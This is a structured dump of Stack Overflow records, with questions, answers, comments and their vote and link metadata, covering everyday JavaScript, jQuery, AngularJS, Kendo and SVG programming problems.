answers question: http://stackoverflow.com/q/25687630
has comment: http://stackoverflow.com/comment/40193411
has body: You should be able to do the following when developing your own package: Install moment using npm install --save moment - this will install the moment.js library as a dependency and register it in the package.json file In your library, import it in your lib file: moment = require 'moment'; myDate = moment().format(); Then you can use the moment object to format your timestamps. All of this will only work if you're doing your own package, of course. Not sure if this will work with simple snippets as well.
score: 0

http://stackoverflow.com/a/55931468
has comment: http://stackoverflow.com/comment/99761188
answers question: http://stackoverflow.com/q/25553910
type: Answer
score: 6
has comment: http://stackoverflow.com/comment/98764292
upvote count: 6
has comment: http://stackoverflow.com/comment/98767790
has body: You can use object destructuring to unpack properties from the existing object and assign them to variables with different names - fields of a new, initially empty object. const person = { fname: 'tom', lname: 'jerry', aage: 100, } let newPerson = {}; ({fname: newPerson.fname, lname: newPerson.lname} = person); console.log(newPerson);
has comment: http://stackoverflow.com/comment/98764385
downvote count: 0

http://stackoverflow.com/a/25685194
answers question: http://stackoverflow.com/q/25659205
score: 0
has comment: http://stackoverflow.com/comment/40491770
type: Answer
has body: finally I use jquery dialog replace window.showModalDialog(): parrent page: var href = "test.html" var obj = jQuery('#chooseTaskDlg'); if(!obj) return false; obj.html('&lt;iframe style="border: 0px; " src="' + href + '" width="100%" height="99%"&gt;&lt;/iframe&gt;'); obj.dialog({ autoOpen: false, resizable: false, height:780, width:950, modal: true, close: function(){ if(undefined != dialogRet &amp;&amp; '' != dialogRet) { //do something with the string dialogRet } return null; } }); obj.dialog('open'); then in child page "test.html": if (isNeedIeModalDialog()) //IE { obj = window.dialogArguments; window.returnValue = someValue; } else { obj = window.opener ? window.opener : parent; obj.dialogRet = someValue; } obj.document.getElementById(type + '_ipinfo').value=someValue; //do something with parrent document closeModalWindow('chooseTaskDlg');
has comment: http://stackoverflow.com/comment/40420373

http://stackoverflow.com/a/25581504
score: 2
answers question: http://stackoverflow.com/q/25581464
downvote count: 0
upvote count: 2
type: Answer
has body: The code tries to subtract 2 from "lol". But because "lol" isn't a number, the result isn't a number either; that gets represented internally by a value known as "Not a Number", or "NaN" for short. You've got several of those in an array. When you try to join them all together as strings, and add on " Batman!" to the end, the NaN gets converted to its most sensible string representation, which is just NaN. So you end up with several copies of "NaN", followed by "Batman!". See Wikipedia's entry on NaN.

http://stackoverflow.com/comment/40018583
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25616391
type: Comment
has text: Yes i did try that it says type mismatch cannot convert from string to string[]

http://stackoverflow.com/q/25625958
has comment: http://stackoverflow.com/comment/40050793
tagged with: extjs
tagged with: extjs4
has body: I have an Extjs application that I have retrofitted into a Sencha Cmd generated app to be able to minify &amp; concatenate js and css files. The build process runs fine but I see the following errors when I run the application. The lines corresponding to the error are: and I guess my 2 questions are : Is Sencha Cmd the only reliable way to minify &amp; concatenate all files of an extjs application? I have tried using Yuicompressor to minify individual files and concatenate manually , however I was not able to figure out how to easily manage dependencies of the extJS application. How can I get around the issue above with the build generated with Sencha cmd? Is there something that I am missing? I am using ExtJS 4.2.1 and Sencha Cmd 4(have tried with 5 as well).
upvote count: 1
favorite count: 0
has title: Extjs sencha compiled app throws Uncaught TypeError: Object prototype may only be an Object or null
type: AnsweredQuestion
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25685805
tagged with: sencha-cmd
accepted answer: http://stackoverflow.com/a/25685805
has comment: http://stackoverflow.com/comment/40041482
type: Question
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/39966189
score: 1
has text: metadata plugin was deprecated in 2011: http://blog.jquery.com/2011/04/16/official-plugins-a-change-in-the-roadmap/
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25587556

http://stackoverflow.com/comment/40053889
has text: your desired end result is a JSON array? how is the table being created? would it not make more sense to convert the raw data from before it was a table and export that? afaik copy and pasting a table from the html page into a spreadsheet manually works. Perhaps a better solution might be to look at adding a 'copy' button like zClip http://www.steamdev.com/zclip/?
comment on: http://stackoverflow.com/q/25635379
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25554404
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25555039
tagged with: angularjs
answer count: 3
possible better answer: http://stackoverflow.com/a/25554870
has answer: http://stackoverflow.com/a/25554870
score: 0
accepted answer: http://stackoverflow.com/a/25555039
has title: Angular ng-options "None" not working as expected when filtering results with an ng-repeat directive
has body: I have reduced my app to the case below. I have two implementations of a select box, one with hard coded options and one using ng-options. If you select a topic, and then go back to select "None", you'll observe the second example does not work the same way as the first example. I can't seem to configure ng-options correctly to get the behavior in the first example. The desired behavior is to show all items in the friends and friends2 lists when no topic is selected. Working select boxes, "None" works as expected. by Topic None Baseball History Presidential History TV History Texas Trivia Selected: {{search.topic}} Name Phone {{friendObj.name}} {{friendObj.phone}} Working select boxes, "None" does not work as expected. All items are cleared. by Topic None Selected: {{search2.topic}} Name Phone {{friendObj2.name}} {{friendObj2.phone}} Plunkr: http://plnkr.co/edit/BCQrDYJoag7Fh0hPtwmk In both examples, the value of the first option element is an empty string, however they behave differently. It has not been easy searching for another example of this. Thanks for any suggestions.
tagged with: javascript
has answer: http://stackoverflow.com/a/25554903

http://stackoverflow.com/comment/39991875
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25601754
type: AnswerComment
has text: Thanks @Quentin - he posted that after I'd posted this. I'll leave it here for now and delete it if not helpful.

http://stackoverflow.com/comment/85329846
score: 1
has text: See [Ted Bicknell's - A Bad Date With Internet Explorer 11: Trouble With New Unicode Characters in Javascript Date Strings](https://www.csgpro.com/blog/2016/08/a-bad-date-with-internet-explorer-11-trouble-with-new-unicode-characters-in-javascript-date-strings)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25574963

http://stackoverflow.com/q/25582950
type: UnansweredQuestion
has title: convert values format to be 0.00
has answer: http://stackoverflow.com/a/25582985
has answer: http://stackoverflow.com/a/25582993
downvote count: 1
type: Question
answer count: 2
upvote count: 0
tagged with: javascript
score: -1
has body: I have an array in javascript that contain this values [-6,-5.5,-5,-4.5,-4,-3.5,-3,-2.5,-2,-1.5,-1,-0.5,0,0.5,1,1.5,2,2.5,3,3.5,4,4.5,5,5.5] but I want to convert this values format to be 0.00 I mean the first number -6 should be -6.00 and so on.Can anyone help me please?
favorite count: 0

http://stackoverflow.com/comment/40184983
has text: In the first alert: [Object FormData]
comment on: http://stackoverflow.com/a/25707848
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40151423
type: AnswerComment
score: 0
has text: I found anythingzoomer but it only works if theres a div and inside it a p element. If there more p's or some other elements the plugin doesnt work.
comment on: http://stackoverflow.com/a/25689614
type: Comment

http://stackoverflow.com/a/25616065
downvote count: 0
answers question: http://stackoverflow.com/q/25615961
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40018209
has body: For the most part, node.js runs in a single thread. However, node.js allows you to make calls that execute low-level operations (file reads, network requests, etc.) which are handled by separate threads. As such, your database call most likely happens on a separate thread. But, when the database call returns, we return back to the main thread and your code will run in the main thread (blocking it). The way to get around this is to spin up a new thread. You can use cluster to do this. See: http://nodejs.org/api/cluster.html Your main program will make the database call When the database call finishes, it will call fork() and spin up a new thread that runs your-calculations.js and sends an event to it with any input data your-calculations.js will listen for an event and do the necessary processing when it handles the event your-calculations.js will then send an event back to the main thread when it has finished processing (it can send any output data back) If the main thread needs the output data, it can listen for the event that your-calculations.js emits
type: Answer

http://stackoverflow.com/q/25645065
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40071192
tagged with: javascript
type: UnansweredQuestion
tagged with: grails
tagged with: controller
has title: get checkbox state from controller
has answer: http://stackoverflow.com/a/25650022
type: Question
tagged with: checkbox
has comment: http://stackoverflow.com/comment/40071124
has body: my Grails project I have a checkbox. I want to call a remoteFunction in onCheck() method of the checkbox, like the following: if(checkbox.isChecked) { //do something } else { //do some other thing } The fact is that I don't know how to get the state of the checkbox in controller, after its check / uncheck. Is it needed to use some javascript code? Any suggestion? EDIT: this is the checkbox &lt;g:checkBox name="hasStampDuty" value="${receiptInstance?.hasStampDuty}" onclick="${remoteFunction( controller: 'Receipt', action: 'addStampDuty', params: '\'id=\' + this.id+\'ischecked=\'+this.checked', onSuccess: 'updateTotalAmount(\'totalAmount\', data, \'00000\')')}" /&gt; where addStampDuty is as follows: def addStampDuty(Long id, boolean ischecked) { //add stamp duty value def receiptInstance = Receipt.get(id) if(ischecked != null) { if(ischecked) { //do something } else { //do some other } } } But id is always null...
has comment: http://stackoverflow.com/comment/40072295

http://stackoverflow.com/comment/40130517
comment on: http://stackoverflow.com/a/25671888
type: Comment
has text: Well for doing what you want you must convert it into a hybrid application you can only get so far with only sencha. Fear nothing Jhon Snow Cordova is not that hard :) Watch the video.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25662823
has body: Changed mouseover to mouseenter, working now. I really should've read the JQuery event docs.
type: Answer
accepted answer of: http://stackoverflow.com/q/25660003
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/25660003

http://stackoverflow.com/comment/39908610
type: QuestionComment
has text: I figured it out. There were a number of other small typos. If you want to post the answer, I'd be glad to accept it, since you helped me the most.
score: 0
comment on: http://stackoverflow.com/q/25556103
type: Comment

http://stackoverflow.com/comment/39944399
has text: You connect only once. When you need to use mongoose in your other modules you do `var mongoose = require('mongoose');` and you get the same mongoose object with your connection. You can test this by doing `console.log(mongoose.connection);` in your module.
score: 2
comment on: http://stackoverflow.com/a/25575460
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25567542
has title: How to go back to a particular page using history.back sort of functionality
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/39962604
type: Question
has comment: http://stackoverflow.com/comment/39929995
tagged with: jsp
tagged with: javascript
tagged with: jquery
upvote count: 1
has comment: http://stackoverflow.com/comment/39928817
has comment: http://stackoverflow.com/comment/39928490
favorite count: 0
has comment: http://stackoverflow.com/comment/39929261
has body: I have two pages say A and B. I landed to page B from A. Now on clicking back button, in page B. I want to go to page A. Right now I am using windows.location.href="URL of A page"; Basially it redirecting to Page A (i.e Loading Page A again) Reloading / Redirecting takes enough time, Windows.history.back() is superbly fast but i am performing many activities on Page B so i can't use this. So any solution to this problem.
has comment: http://stackoverflow.com/comment/39932077
type: UnansweredQuestion

http://stackoverflow.com/comment/40004023
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25607922
has text: sorry i wrote a coment then deleted it bec i didn't get it at first , but now it is clear.. your answer is the acceptable one

http://stackoverflow.com/comment/40087865
type: AnswerComment
has text: I just mean that when you click the select box, the last clicked option still appears in the box. So that information is stored **somewhere**. Is it available in the DOM? Is there any way to access that? Or once you hover over an option that becomes the currently selected option and there is no way to get the last value that was clicked absent you storing it in a variable yourself?
score: 0
comment on: http://stackoverflow.com/a/25653893
type: Comment

material-design
tags question: http://stackoverflow.com/q/25574596
type: Tag
tag name: material-design

http://stackoverflow.com/a/25567991
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25567926
upvote count: 1
has body: $('.par1').find('li').each(function(){ alert($(this).attr('id')); });
type: Answer

http://stackoverflow.com/comment/40075253
type: QuestionComment
has text: It's probably comparing the location of the strings, rather than the actual strings. If you save the strings to variables, then compare the variables, it should return true.
type: Comment
comment on: http://stackoverflow.com/q/25647680
score: 4

http://stackoverflow.com/q/25560248
score: 7
type: Question
has title: AngularJs - Use custom filter inside directive controller
tagged with: javascript
has answer: http://stackoverflow.com/a/25560259
favorite count: 0
upvote count: 8
tagged with: angularjs-filter
answer count: 1
has body: Scenario I have an array of users containing information about them, I do an ng-repeat combined with a custom directive that generates an HTML user card, keeping the scope of each card relative to the individual user, inside the user model there is a value that I need to filter with a custom filter before the template gets compiled, because if I do it inside the template the time it takes to be filtered makes the tooltip not to show until the value is ready and that looks as if something is not working. My code so far // userCard directive angular.module('userCard', []).directive('UserCard', function() { return { restrict: 'EA', templateUrl: 'userCard.tpl.html', scope: { user: '=' }, controller: ['$scope', 'fromNowFilter', function($scope, fromNowFilter) { angular.forEach($scope.user.reminders, function(reminder) { reminder.last_sent = reminder.last_sent === null ? 'No reminder has been sent!' : fromNowFilter(reminder.last_sent); }); }], link: function(scope, element) { // Add the base class to the user card element element.addClass('user-card'); } }; }); // fromNow custom filter angular.module('userCard').filter('fromNow', function() { return function(date) { return moment(date).fromNow(); }; }); // The error I keep getting Unknown provider: fromNowFilterProvider &lt;- fromNowFilter
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25560259
downvote count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/40144554
comment on: http://stackoverflow.com/a/25686158
type: Comment
score: 1
has text: This aint an answer to the question. He asks for the best way.
type: AnswerComment

http://stackoverflow.com/comment/40123827
type: AnswerComment
comment on: http://stackoverflow.com/a/25669479
type: Comment
score: 0
has text: Thanks for the response, but if I do it this way the text would have to be positioned inside of the rectangle, right? I want it to be above it most importantly. How would I do this?

http://stackoverflow.com/comment/40192530
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25711675
has text: See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this . `this` is a special variable inside functions and its value depends on how the function is called.
score: 0

http://stackoverflow.com/q/25707627
answer count: 1
tagged with: javascript
score: 0
linked to: http://stackoverflow.com/q/4244896
linked to: http://stackoverflow.com/q/1184123
has body: JS newbie here and having an issue with passing parameters. I'm writing a function inside of an object and can't figure out why JS won't pass in my parameter in the function. see example below var students = ["Joseph", "Susan", "William", "Elizabeth"] var scores = [ [80, 70, 70, 100], [85, 80, 90, 90], [75, 70, 80, 75], [100, 90, 95, 85] ] var gradebook = { "Joseph": { testScores: scores[0] }, "Susan": { testScores: scores[1] }, "William": { testScores: scores[2] }, "Elizabeth": { testScores: scores[3] }, addScore: function(student, score){ console.log(student) //=&gt; output as expected console.log(score) //=&gt; output as expected console.log(gradebook.Joseph.testScores) //=&gt; this works as expected and shows Joseph's scores console.log(gradebook.student.testScores) //=&gt; gives TypeError: Cannot read property 'testScores' of undefined } }; gradebook.addScore("Joseph", 30); I put the console log statements to debug and figure out whats going on. I have no idea why this works when I hardcode in the students name, but doesn't work when I pass in the student's name as a parameter from running the function outside of the gradebook object. Any help would be appreciated!
has comment: http://stackoverflow.com/comment/40184638
has title: JavaScript not using x.y, where y is the name of a variable
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40184576
has comment: http://stackoverflow.com/comment/40184550
tagged with: parameters
tagged with: object
linked to: http://stackoverflow.com/q/22747423
duplicate of: http://stackoverflow.com/q/4244896
has answer: http://stackoverflow.com/a/25707661
type: Question
has comment: http://stackoverflow.com/comment/40184565
has comment: http://stackoverflow.com/comment/40184634

http://stackoverflow.com/a/25689500
type: AcceptedAnswer
has body: Ok so it seems that I was using sails 0.10.0 rc-7 once I upgraded to 0.10.5 the problems ceased
type: Answer
answers question: http://stackoverflow.com/q/25677087
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25677087
upvote count: 1

http://stackoverflow.com/comment/39970644
score: 0
comment on: http://stackoverflow.com/q/25585409
type: Comment
type: QuestionComment
has text: If the checkbox element itself has the ID, then just the usual `d3.select("#id")`.

http://stackoverflow.com/comment/40077543
type: QuestionComment
has text: Input of type number is not supported by IE 8 and IE 9. Here is the reference http://caniuse.com/#feat=input-number
score: 0
comment on: http://stackoverflow.com/q/25648668
type: Comment

http://stackoverflow.com/comment/39911532
comment on: http://stackoverflow.com/q/25557834
score: 0
type: QuestionComment
has text: is it not case sensitive?
type: Comment

http://stackoverflow.com/q/25579752
tagged with: asp.net-mvc
has answer: http://stackoverflow.com/a/25741210
answer count: 2
has comment: http://stackoverflow.com/comment/40242544
has comment: http://stackoverflow.com/comment/40242616
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25741210
has title: Kendo Grid inside Jquery Dialog with modal Issue
tagged with: jquery-dialog
has answer: http://stackoverflow.com/a/35592849
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40242492
has comment: http://stackoverflow.com/comment/40242512
upvote count: 14
has comment: http://stackoverflow.com/comment/40242667
possible better answer: http://stackoverflow.com/a/35592849
has comment: http://stackoverflow.com/comment/40243194
type: Question
score: 14
has body: I have a kendo grid control inside jquery dialog. It works fine except when in dialog modal is true, I am not able to work on grid filter. If dialog modal is false, it works perfectly. It is must for me to apply modal true kind of functionality. Here is the snapshot of issue: Jquery Dialog code: $('#dialog').dialog({ title: 'Add Patient', height: 'auto', width: '95%', position: ['top', 70], draggable: false, show: 'blind', hide: 'blind', modal: true, resizable: false, open: function (event, ui) { var url='@Url.Action("AddPatient", "PatientManagement")'; $(this).load(url); }, close: function (event, ui) { $(this).html(''); } }); Kendo grid: @(Html.Kendo().Grid&lt;RxConnectEntities.Patient&gt;().Name("PatientList") .Columns(columns =&gt; { columns.Bound(p =&gt; p.PatientID).Visible(false); columns.Bound(p =&gt; p.LastName).Width(100); columns.Bound(p =&gt; p.FirstName).Width(100); columns.Bound(p =&gt; p.Gender).Width(80); columns.Bound(p =&gt; p.DateOfBirth).Width(90).Format("{0:MM/dd/yyyy}").EditorTemplateName("DateOfBirth"); columns.Bound(p =&gt; p.PhoneNumber).Title("Phone Number").Width(110); columns.Command(command =&gt; { command.Custom("Edit").Text("Edit").Click("EditGrid"); }).Width(120); }) .Filterable(f=&gt;f.Enabled(true)) .Pageable(p =&gt; p.PageSizes(true)) .Scrollable() .Sortable() .Groupable() .DataSource(dataSource =&gt; dataSource .Ajax().ServerOperation(false) .PageSize(5) .Model(m =&gt; m.Id(p =&gt; p.PatientID)) .Read(read =&gt; read.Action("GetPatientList", "PatientManagement")) .Destroy(delete =&gt; delete.Action("Deletepatient", "PatientManagement")) ))
tagged with: kendo-grid

http://stackoverflow.com/comment/39939704
score: 0
type: Comment
has text: Generally I agree with your approach for login forms, but OP asked: "I would like to show a simple message just below each text box," not a single message for all fields.
comment on: http://stackoverflow.com/a/25573040
type: AnswerComment

http://stackoverflow.com/comment/40105714
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25664550
has text: as you see in the answers below
type: Comment

http://stackoverflow.com/q/25619685
tagged with: javascript
score: -1
has title: Looping through Html forms with javascript
has body: Trying to validate a html form so that once all fields have been filled and a valid email address is entered, it creates a mock email with the details included inside the form. It works first time only at the moment and I would like it to always check that the First and last name fields are not empty. Current Code: function validate_form(thisform){ with (thisform){ if ((validate_required(firstname,lastname,email,"All fields must be filled out!")==false) || (validate_email(email,"Not a valid e-mail address!")==false)){ firstname.focus(); lastname.focus(); email.focus(); return false; } return true; } } Here is my Form &lt;form name="registration" action="mailto:example.example@example.com?subject='example'" onsubmit="return validate_form(this)" method="post" enctype="text/plain"&gt; First Name: &lt;input type="text" name="firstname"&gt; Last Name: &lt;input type="text" name="lastname"&gt; Email : &lt;input type="text" name ="email"&gt; &lt;input type= submit value="Send email" onclick="return validateForm();"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;input type="reset" value="Reset"&gt; &lt;/form&gt; I have removed some syntax to read the form code
downvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40024632
has comment: http://stackoverflow.com/comment/40025312
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40024709
tagged with: http://stackoverflow.com/tag/html
upvote count: 0
has answer: http://stackoverflow.com/a/25620699
has comment: http://stackoverflow.com/comment/40024896
tagged with: loops
tagged with: forms
has comment: http://stackoverflow.com/comment/40024752
type: Question
tagged with: if-statement

http://stackoverflow.com/comment/40222111
has text: Oh my God!!!!! That worked! I added the "ReadWriteStream" function to the .ashx file and it worked! Thank you so much; I've been working on this for like a month! Well, in between other stuff, but that's only because I couldn't figure this out.
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25653242

http://stackoverflow.com/q/25638203
tagged with: http://stackoverflow.com/tag/html
has title: How do you add CSS with Javascript margin auto?
type: UnansweredQuestion
tagged with: css
linked to: http://stackoverflow.com/q/707565
has answer: http://stackoverflow.com/a/25638262
duplicate of: http://stackoverflow.com/q/707565
type: Question
answer count: 1
tagged with: javascript
has body: How do you add CSS rules using JavaScript? For example .center{margin:auto;width:900px}
score: 0

http://stackoverflow.com/comment/39970152
type: Comment
score: 2
has text: Why bother using local storage if you're not actually going to persist anything?
type: QuestionComment
comment on: http://stackoverflow.com/q/25589804

http://stackoverflow.com/comment/40103133
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25662807
has text: It will be good to generate the html on the server. Since it dose not require any user input from the client end with in the loop. So it will be better design to generate that html string on the server.This will be a lot more faster.Or in any case if your design is mandatory then please try $.ajax with option cache:false and async:false.

http://stackoverflow.com/comment/48104489
comment on: http://stackoverflow.com/a/25670446
type: AnswerComment
score: 4
type: Comment
has text: This has changed to `redirect_to path, turbolinks: true`

http://stackoverflow.com/comment/40041792
score: 0
type: Comment
type: QuestionComment
has text: And where does `04 2322-003` come from? You need to explain how the mapping is supposed to work (and in the process, you might just answer your own question).
comment on: http://stackoverflow.com/q/25628723

http://stackoverflow.com/q/25678159
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/svg
accepted answer: http://stackoverflow.com/a/25681822
has title: How do you animate path morphs inside of loaded SVG with Snap.svg?
tagged with: animation
linked to: http://stackoverflow.com/q/22987836
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25681822
type: Question
has body: I know you can animate path morhs with snap.svg (How to animate path morphs using snap.svg) Is it possible to 'load' a path and then animate path morph? Or do you HAVE to define the path inside of Snap.svg? (function($) { 'use strict'; // grab the empty svg element in the html var s = Snap(800,600); // load the svg and grab the #arm and its inner elemmnts Snap.load('body.svg', function(f) { var arm = f.select('#arm'), forearm = f.select('#forearm'), bicep = f.select('#bicep'); s.append(arm); s.append(forearm); s.append(bicep); anim1(); }); // animate rotate the forearm graphic var anim1 = function() { forearm.animate({ 'transform': 'r45,320,120' }, 1000, mina.linear, anim2); }; // animate morph from the svg images current path coordinates top the ones below var anim2 = function() { bicep.animate({ d: 'M337.889,188c-12.064-11.708-28.073-93.482-89.777-92.889c-62.222,3.333-93,104.555-93,104.555l1.667,49.445 c29.608,30.553,96.669,99.406,178.333,3.333L337.889,188z' }, 1000, mina.bounce, anim3); }; // animate morph from the svg images current path coordinates top the ones below var anim3 = function() { forearm.animate({ d: 'M174.333,250.938c0,0,19.659-36.111,17.816-98.333c-25.316-59.032-31.731-75.007-24.267-84.445l-27.338,1.667 c-35.496,57.849-82.325,139.528-1.843,178.334L174.333,250.938z' }, 1000, mina.bounce); }; })(jQuery); jsfiddle here - http://jsfiddle.net/1wqewzs3/2/ Thanks
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40077087
has text: now the fuction work...thx ùfor all :-D
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25640879
type: Comment

http://stackoverflow.com/comment/40071378
type: Comment
has text: Thanks, I added a brief explanation to my answer.
comment on: http://stackoverflow.com/a/25645512
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40078363
has text: You don't pass the model, you just pass the value of your model. It's a primitive _String_. And in your function `$scope.setValue` variable valueToSet is a _String_. Also, you can access your models `inputModel` and `inputModelTwo` in your `$scope` like `$scope.inputModel` and `$scope.inputModelTwo`. All depends on what you want to do, so please clairify your question
comment on: http://stackoverflow.com/q/25649090
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40175003
score: 0
type: AnswerComment
has text: When I put `console.log(new Date(inforce_date).getTime() / 1000);` below `var submit_date = ...` it returns the timestamps properly. Not sure if that helps. It seems like it just isn't adding.
type: Comment
comment on: http://stackoverflow.com/a/25702353

http://stackoverflow.com/q/25585084
has body: So I have a php helpdesk script and I was wondering if it was possible to preload any page the user wants to view before the browser switches to it? Like if the user is one page1.php and clicks on a link that leads to page2.php; is it possible to have a loading gif or something pop up; the next page is loaded and then the browser instantly changes the view from that of page1.php to page2.php. In short, visually eliminating the page loading process. Thanks in advance!
tagged with: javascript
tagged with: ajax
score: 0
tagged with: preload
has comment: http://stackoverflow.com/comment/39961374
has title: Preload linked php page before viewing in browser?
type: UnansweredQuestion
tagged with: php
type: Question
answer count: 1
has answer: http://stackoverflow.com/a/25585199

http://stackoverflow.com/comment/39937974
has text: Most (or all) event's have a `addEventListener` counterpart which should solve the `onxxx` issue completely
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25572132
score: 3

http://stackoverflow.com/comment/40004824
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25608755
score: 0
has text: The problem is that `$.get` is asynchromous, so it can't make `js_GetArray` return `obj`, because the callback function where you build `obj` will be executed later.

http://stackoverflow.com/q/25619300
linked to: http://stackoverflow.com/q/18779708
has title: Why does scrollTop not work in firefox?
linked to: http://stackoverflow.com/q/14059456
has comment: http://stackoverflow.com/comment/40023976
has comment: http://stackoverflow.com/comment/40023850
has comment: http://stackoverflow.com/comment/40024171
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25619629
has body: this is probably something stupid, but I can't find what I'm doing wrong. I've been trying to make a DOM element appear when the body is scrolled to a certain height. So I've set an eventlistener on the window to check for scrolling and I check the scrollTop of the body to get the scrollposition. This is working perfectly in Chrome, but in Firefox the scrollTop always stays 0, no matter what I try. I've also tried checking the scrollTop of other elements, but that does not register either. I can't find any documentation on scrollTop that explains how this works across different browsers. Does anyone know why this is not working in Firefox? Or am I just doing this in a silly way? (function () { var element = document.getElementById("body"); window.addEventListener('scroll', function (e){ var scrollPos = element.scrollTop; console.log(scrollPos); }); })() Ofcourse this is part of a larger script, but I've narrowed it down and created a new snippet to make sure that this code is creating the problem.
score: 0
type: Question
has comment: http://stackoverflow.com/comment/40024019
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25619629
tagged with: firefox
answer count: 1
has comment: http://stackoverflow.com/comment/40024074

http://stackoverflow.com/comment/40010379
has text: @JonathanLonowski But that "hint" is damn near misleading. Many people incorrectly assume (perhaps because of said "hints") that creating a new function-object is somehow expensive [in a way that will negatively effect performance] but *it is not*. Modern browsers deal with this very well so unless it's iterating the pixels in an image (for example) it Just Doesn't Matter.
comment on: http://stackoverflow.com/q/25611835
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25624423
accepted answer: http://stackoverflow.com/a/26076269
type: Question
has comment: http://stackoverflow.com/comment/40035395
tagged with: internet-explorer
linked to: http://stackoverflow.com/q/11661408
has comment: http://stackoverflow.com/comment/40445064
tagged with: highlighting
tagged with: replace
answer count: 2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40483213
has comment: http://stackoverflow.com/comment/40035373
has answer: http://stackoverflow.com/a/26076269
has comment: http://stackoverflow.com/comment/40296101
score: 0
linked to: http://stackoverflow.com/q/2254789
has comment: http://stackoverflow.com/comment/40446964
has comment: http://stackoverflow.com/comment/40434386
has title: Highlight phone number and wrap with tag javascript
possible better answer: http://stackoverflow.com/a/25625672
linked to: http://stackoverflow.com/q/5291703
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40034994
has answer: http://stackoverflow.com/a/25625672
has body: The following code checks if the selected tag has childnodes. If a child node is present , it loops till a child node is found. When there are no further child nodes found, it loops out i.e it reaches a text node causing the loop to end. The function is made recursive to run until no child node is found. The code runs as per above info, but when I try to match TEXT_NODE (console.log() outputs all text node), replace() is used to identify phone numbers using regex and replaced with hyperlink. The number gets detected and is enclosed with a hyperlink but it gets displayed twice i.e. number enclosed with hyperlink and only the number.Following is the code function DOMwalker(obj){ var regex = /\+\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}/g; var y = "&lt;a href=\"javascript:void(0);\"&gt;$&amp;&lt;/a&gt;"; if(obj.hasChildNodes()){ var child = obj.firstChild; while(child){ if(child.nodeType!==3) { DOMwalker(child); } if (child.nodeType=== 3) { var text = child.nodeValue; console.log(typeof text); var regs = regex.exec(text); match = text.replace(regex,y); if(match){ var item = document.createElement('a'); item.setAttribute('href','javascript:void(0);'); var detect = document.createTextNode(match); var x=item.appendChild(detect); console.log(x); child.parentNode.insertBefore(x,child); } } child=child.nextSibling; } } }; $(window).load(function(){ var tag = document.querySelector(".gcdMainDiv div.contentDiv"); DOMwalker(tag); }); Following are the screenshot of the output: Here the number gets printed twice instead of one with hyperlink which is been displayed(expected highlighted number with hyperlink) and second widout tags Following is console.log of x I have already gone through this. The solution provided below works well with FF. The problem arises when used in IE11. It throws Unknown runtime error and references the .innerHTML. I used the appenChild(),but the error couldn't be resolved.
tagged with: innerhtml
has comment: http://stackoverflow.com/comment/40034710
has comment: http://stackoverflow.com/comment/40857117

http://stackoverflow.com/comment/39958695
comment on: http://stackoverflow.com/q/25583632
type: QuestionComment
has text: First of all, you need to decide, how to do it in HTML. Do you plan to use drop down lists or radio buttons? Only after it you have to start php implementation.
type: Comment
score: 0

http://stackoverflow.com/comment/40162522
has text: and instead of adding a class, if they're all in a div called `maps` you can use `$('#maps div')` with the above solution
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25695379

http://stackoverflow.com/q/25599543
has answer: http://stackoverflow.com/a/25599859
possible better answer: http://stackoverflow.com/a/25599597
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39987752
has answer: http://stackoverflow.com/a/25599673
type: Question
has comment: http://stackoverflow.com/comment/39987895
has comment: http://stackoverflow.com/comment/39987908
has body: In the string hello, dude &lt;br&gt; how &lt;br&gt; are &lt;br&gt; you &lt;br&gt; How can I remove the &lt;br&gt; tag at the end if it exists?
has answer: http://stackoverflow.com/a/71118230
has answer: http://stackoverflow.com/a/25599669
linked to: http://stackoverflow.com/q/8056106
tagged with: javascript
